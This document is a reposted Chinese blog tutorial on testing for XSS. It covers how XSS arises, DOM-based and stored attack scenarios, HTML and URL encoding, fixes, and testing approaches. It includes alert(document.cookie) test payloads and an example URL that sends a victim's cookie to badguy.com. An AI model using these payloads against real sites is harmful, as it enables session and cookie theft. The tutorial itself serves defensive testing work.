Web安全測試之XSS【轉】

做者: 小坦克  來源: 博客園   原文連接:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.htmlhtml

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最多見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的.  好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。 程序員

做爲測試人員,須要瞭解XSS的原理,攻擊場景,如何修復。 纔能有效的防止XSS的發生。
數據庫

 

閱讀目錄瀏覽器

  1. XSS 是如何發生的
  2. HTML Encode
  3. XSS 攻擊場景
  4. XSS漏洞的修復
  5. 如何測試XSS漏洞
  6. HTML Encode 和URL Encode的區別
  7. 瀏覽器中的XSS過濾器
  8. ASP.NET中的XSS安全機制

XSS 是如何發生的呢

假若有下面一個textbox安全

<input type="text" name="address1" value="value1from">

value1from是來自用戶的輸入,若是用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成服務器

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代碼將會被執行cookie

 

或者用戶輸入的是  "onfocus="alert(document.cookie)      那麼就會變成 app

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被觸發的時候嵌入的JavaScript代碼將會被執行ssh

 攻擊的威力,取決於用戶輸入了什麼樣的腳本xss

 

固然用戶提交的數據還能夠經過QueryString(放在URL中)和Cookie發送給服務器. 例以下圖

 

HTML Encode

XSS之因此會發生, 是由於用戶輸入的數據變成了代碼。 因此咱們須要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", 「單引號」,「引號」 之類的特殊字符進行編碼。

在C#中已經提供了現成的方法,只要調用HttpUtility.HtmlEncode("string <scritp>") 就能夠了。  (須要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

 

XSS 攻擊場景

1. Dom-Based XSS 漏洞 攻擊過程以下

Tom 發現了Victim.com中的一個頁面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服務器中Search.asp 頁面的代碼大概以下

複製代碼
<html>
  <title></title>
  <body>
    Results for <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
複製代碼

Tom 先創建一個網站http://badguy.com,  用來接收「偷」來的信息。
而後Tom 構造一個惡意的url(以下), 經過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.

 

2. Stored XSS(存儲式XSS漏洞), 該類型是應用普遍並且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得全部訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程以下

Alex發現了網站A上有一個XSS 漏洞,該漏洞容許將攻擊代碼保存在數據庫中,

Alex發佈了一篇文章,文章中嵌入了惡意JavaScript代碼。

其餘人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其餘信息將被Alex盜走。

 

Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

 

XSS 漏洞修復

原則: 不相信客戶輸入的數據
注意:  攻擊代碼不必定在<script></script>中

  1. 將重要的cookie標記爲http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  2. 只容許用戶輸入咱們指望的數據。 例如: 年齡的textbox中,只容許用戶輸入數字。 而數字以外的字符都過濾掉。
  3. 對數據進行Html Encode 處理
  4. 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。

如何測試XSS漏洞

方法一:  查看代碼,查找關鍵的變量,   客戶端將數據傳送給Web 服務端通常經過三種方式 Querystring, Form表單,以及cookie.  例如在ASP的程序中,經過Request對象獲取客戶端的變量

<%
strUserCode = Request.QueryString(「code」);
strUser = Request.Form(「USER」);
strID = Request.Cookies(「ID」);
%>

假如變量沒有通過htmlEncode處理, 那麼這個變量就存在一個XSS漏洞

 

 方法二: 準備測試腳本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在網頁中的Textbox或者其餘能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

 在URL中查看有那些變量經過URL把值傳給Web服務器, 把這些變量的值退換成咱們的測試的腳本。  而後看咱們的腳本是否能執行

 

方法三:  自動化測試XSS漏洞
如今已經有不少XSS掃描工具了。 實現XSS自動化測試很是簡單,只須要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 而後查看HttpWebResponse中,咱們的XSS測試腳本是否已經注入進去了。

HTML Encode 和URL Encode的區別

剛開始我總是把這兩個東西搞混淆, 其實這是兩個不一樣的東西。 

HTML編碼前面已經介紹過了,關於URL 編碼是爲了符合url的規範。由於在標準的url規範中中文和不少的字符是不容許出如今url中的。

例如在baidu中搜索"測試漢字"。 URL會變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所謂URL編碼就是: 把全部非字母數字字符都將被替換成百分號(%)後跟兩位十六進制數,空格則編碼爲加號(+

 

在C#中已經提供了現成的方法,只要調用HttpUtility.UrlEncode("string <scritp>") 就能夠了。  (須要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

瀏覽器中的XSS過濾器

爲了防止發生XSS, 不少瀏覽器廠商都在瀏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 瀏覽器會阻止XSS。 例以下圖

 

 若是須要作測試, 最好使用IE7。

 ASP.NET中的XSS安全機制

 ASP.NET中有防範XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS代碼的時候,ASP.NET會拋出一個錯誤以下圖

不少程序員對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上作到默認安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個」較安全的網站「。

若是想禁止這個安全特性, 能夠經過 <%@  Page  validateRequest=「false"  %>

相關文章
相關標籤/搜索